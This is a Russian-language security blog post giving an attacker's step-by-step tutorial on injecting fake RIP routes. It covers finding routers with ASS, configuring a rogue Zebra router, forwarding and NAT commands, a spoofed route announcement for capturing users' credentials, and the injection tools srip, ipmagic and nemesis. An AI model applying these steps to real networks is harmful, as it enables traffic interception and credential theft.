Ложные маршруты RIP.
Петухов Олег, юрист в области международного права и защиты персональных данных, специалист в области информационной безопасности, защиты информации и персональных данных.
Телеграм-канал: https://t.me/zashchitainformacii
Группа в Телеграм: https://t.me/zashchitainformacii1
Сайт: https://legascom.ru
Электронная почта: online@legascom.ru
#защитаинформации #информационнаябезопасность
Протокол RIP для работы использует порт 520 и UDP. Маршрутизаторы «слушают» трафик на данном порту. Таким образом, любой пакет соответствующего формата будет принят и обработан маршрутизатором. В случае если аутентификация RIP не используется или пароль пуст, злоумышленник сможет передать данному маршрутизатору неверные данные о маршрутах, перенаправив таким образом сетевой трафик через подконтрольные взломщику узлы.
Первое, с чего злоумышленник должен начать свою атаку, - это определить маршрутизаторы, использующие протокол RIP. Это можно сделать несколькими способами.
1. Можно прослушать трафик с помощью сниффера. Каждые 30 секунд маршрутизаторы обмениваются маршрутной информацией. Также обмен производится при изменении топологии. Данную атаку мы уже реализовывали в предыдущих разделах, посвященных ARP-spoofing. Напомню лишь, что для ее реализации злоумышленнику необходимо самому находиться в локальной сети.
2. Также злоумышленник может просканировать сеть на наличие узлов с открытым портом 520 UDP.
3. Наилучшим, а зачастую и единственным возможным решением является использование специализированного пакетного анализатора, позволяющего перехватывать и анализировать именно обновления таблиц маршрутов.
Таким специализированным средством является утилита с незамысловатым названием ASS (autonomous system scanner). Данная утилита позволяет осуществлять как активный, так и пассивный поиск маршрутизаторов и протоколов маршрутизации. В процессе сканирования ASS работает в активном режиме, по окончании переходит в пассивный, который только прослушивает трафик. Эта утилита поддерживает не только RIP, но и другие протоколы маршрутизации, поэтому в дальнейшем мы будем к ней неоднократно возвращаться.
Вот пример работы в пассивном режиме:
root@kali : # ./ass -i eth0
ASS [Autonomous System Scanner] $Revision: 1.24 $
(c) 2k++ FX <fx@phenoelit.de>;
Phenoelit (http://www.phenoelit.de)
IRPAS build XXXIX
passive listen ... (hit Ctrl-C to finish)
>>>Results>>>
Router 192.168.66.101 (RIPv2 )
RIP2 [ n/a ] unknown auth
RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 192.168.66.100
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 192.168.66.100
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.77.0/255.255.255.0, next: 0.0.0.0
(tag 0, mtr 1)
Router 192.168.66.100 (RIPv2 )
RIP2 [ n/a ] unknown auth
RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.0.1/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.105/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
А так утилита работает в активном режиме:
root@kali : # ./ass -i eth0 -A -v
ASS [Autonomous System Scanner] $Revision: 1.24 $
(c) 2k++ FX <fx@phenoelit.de>;
Phenoelit (http://www.phenoelit.de)
IRPAS build XXXIX
Scanning
+ scanning IRDP ...
+ scanning RIv1 ...
+ scanning RIPv2 ...
+ scanning IGRP ...
+ waiting for EIGRP HELLOs (12s) ...
Continuing capture ... (hit Ctrl-C to finish)
>>>Results>>>
Router 192.168.66.100 (RIPv1 RIPv2 )
RIP1 [ n/a ] 0.0.0.0 (metric 1)
RIP1 [ n/a ] 192.168.0.1 (metric 1)
RIP1 [ n/a ] 192.168.66.9 (metric 1)
RIP1 [ n/a ] 192.168.66.105 (metric 1)
RIP2 [ n/a ] unknown auth
RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.0.1/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.105/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
Router 192.168.66.101 (RIPv2 )
RIP2 [ n/a ] unknown auth
RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 192.168.66.100
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 192.168.66.100
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.77.0/255.255.255.0, next: 0.0.0.0
(tag 0, mtr 1)
В представленных выше примерах показан перехваченный обмен маршрутной информацией между двумя маршрутизаторами 192.168.66.100 и 192.168.66.101. Аутентификация не используется, в противном случае был бы указан метод, например md5.
В примере ниже router IP – это целевой роутер, трафик которого прослушивается, а с ключом –P указывается номер версии протокола RIP 1 или 2.
root@kali : # ass -v -i eth0 -D <router IP> -P <1 | 2>
Итак, мы успешно выявили маршрутизаторы, использующие протокол RIP, его версию, а также метод аутентификации. Теперь можно попробовать осуществить атаку. В простейшем случае можно перенаправить трафик через свой маршрутизатор с целью перехвата учетных данных пользователей. При этомне забываем про ограничение в 15 маршрутизаторов между любыми двумя узлами сети.
Для осуществления атаки необходимо прежде всего сконфигурировать свой поддельный маршрутизатор и затем обменяться с соседними маршрутизаторами информацией о маршрутах.
Для этого нужно выполнить соответствующие настройки в нашем маршрутизаторе. Вот пример конфигурационного файла, где используется протокол RIP версии 2 и один ключ аутентификации.
!
! Zebra configuration saved from vty
! 2005/08/12 23:44:33
!
hostname legitimate.ripd
password 8 p@ssw0rd>
enable password 8 Cb/yfFsI.abqs
service advanced-vty
service password-encryption
!
!
key chain dmz_auth
key 1
key-string secret_key
!
interface eth0
description DMZ_network
ip rip authentication mode md5 auth-length old-ripd
ip rip authentication key-chain dmz_auth
!
router rip
version 2
redistribute connected
network 192.168.20.0/24
!
line vty
exec-timeout 30 0
!
Далее необходимо настроить форвардинг трафика через свой хост. Сделать это можно следующим способом:
root@kali : # echo 1 > /proc/sys/net/ipv4/ip_forward
Следующим подготовительным действием будет настройка трансляции адресов с помощью Network Address Translation (NAT). Это необходимо для того, чтобы пакеты, направляющиеся к или от машины жертвы, достигали конечной точки назначения, проще говоря, не терялись.
root@kali : # iptables -t nat -A POSTROUTING -o eth0 -s victim_IP -j SNAT --to-source your_IP
Перед началом атаки необходимо точно установить, на какой именно маршрутизатор вы хотите отправить поддельное RIP-обновление маршрутной информации. Получателем должен быть unicast-адрес, а не multicast, так как в этом случае атаку значительно легче обнаружить.
На следующем шаге создаем запись о маршруте:
router rip
version 2
default-information originate
neighbor 192.168.20.103
route 192.168.66.9/32
Теперь трафик, идущий из сети 192.168.77.0/24 к машине 192.168.66.9, пойдет через маршрутизатор злоумышленника.
Теперь после аналогичного анонса сети 192.168.77.0/24 в таблицах маршрутизации RIP появятся новые маршруты. Правда, кратчайшим маршрутом по-прежнему является путь между двумя легальными маршрутизаторами. Однако если злоумышленник каким-либо образом (например, с помощью «затопления») сможет вывести из строя легальный канал, то весь трафик пойдет через поддельный маршрутизатор.
В завершение темы поддельных маршрутов рассмотрим еще несколько утилит для генерации RIP-обновлений на регулярной основе. Примером одной из таких утилит является srip:
root@kali : # srip <RIP version> -n <netmask> <malicious router IP>
<targeted RIP router IP> <destination host or network IP> <metric>
где <malicious router IP> – это машина, через которую планируется перенаправлять трафик, то есть хост злоумышленника; <destination host or network IP> – адрес, на который передаются данные; <metric> – обычно используется значение 1.
Для осуществления более тонкой настройки RIP-обновлений можно воспользоваться утилитой ipmagic из проекта IP Sorcery.
Вот пример всех опций данной утилиты:
root@kali : #./ipmagic
Usage: ./ipmagic [options]
IP: [-is|-id|-ih|-iv|-il|-it|-io|-id|-ip]
-is: source host or address def. 127.0.0.1
-id: source destination or address def. 127.0.0.1
-ih: IP header length def. 5
-iv: IP version def. 4
-il: Time-to-Live def. 64
-it: Type-of-Service def. 0
-io: IP frag offset [(D)on't Fragment|(M)ore Fragments|(F)ragment|(N)one]
-ii: IP packet ID for fragmentation def. 0
-ip: IP protocol [TCP|UDP|ICMP|IP] def. TCP -iO: IP options
<skip>
UDP: [-us|-ud|-ul]
-us: UDP source port def. rand()
-ud: UDP destination port def. 161
-ul: UDP length
RIP: [-uR|-uRc|-uRv]
-uR: Send default RIP packet to port 520
-uRc: RIP command [RQ|RS|TN|TF|SR|TQ|TS|TA|UQ|US|UA] def. RQ
For a list of RIP commands run program with -h rip
-uRv: RIP version [1|2] def. 2
Note: Entry Tables should be used with response packets[RS|TS|US]
-uRa(1|2|etc.): RIP Entry table Address exmp. -uRa1
-uRn(1|2|etc.): RIP Entry table Netmask, exmp. -uRn2
-uRh(1|2|etc.): RIP Entry table Next Hop, exmp. -uRn(num)
-uRm(1|2|etc.): RIP Entry table Metric
-uRr(1|2|etc.): RIP Entry table Route Tag
-uRe: Add default RIP Entry table to packet
root@kali : #./ipmagic -h rip
RIP Commands [RQ|RS|TN|TF|SR|TQ|TS|TA|UQ|US|UA]
RS: Response Packet
RQ: Request Packet
TN: Trace On
TF: Trace Off
SR: Sun Reserved
TQ: Triggered Request
TR: Triggered Response
TA: Triggered Acknowledgement
UQ: Update Request
UR: Update Response
UA: Update Acknowledgment
И наконец, еще одним полезным средством для осуществления атак на протокол маршрутизации RIP является Nemesis. Набор опций у данной утилиты также довольно богат.
root@kali : # nemesis rip help
RIP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)
RIP usage:
rip [-v (verbose)] [options]
RIP options:
-c <RIP command>
-V <RIP version>
-r <RIP routing domain>
-a <RIP address family>
-R <RIP route tag>
-i <RIP route address>
-k <RIP network address mask>
-h <RIP next hop address>
-m <RIP metric>
-P <Payload file>
UDP options:
-x <Source port>
-y <Destination port>
IP options:
-S <Source IP address>
-D <Destination IP address>
-I <IP ID>
-T <IP TTL>
-t <IP TOS>
-F <IP fragmentation options>
-F[D],[M],[R],[offset]
-O <IP options file>
Data Link Options:
-d <Ethernet device name>
-H <Source MAC address>
-M <Destination MAC address>
Существенным недостатком описанных выше средств является то, что они не умеют отправлять RIP-пакеты с использованием аутентификации. Выходом может стать взлом аутентификации, но об этом мы поговорим чуть позже.




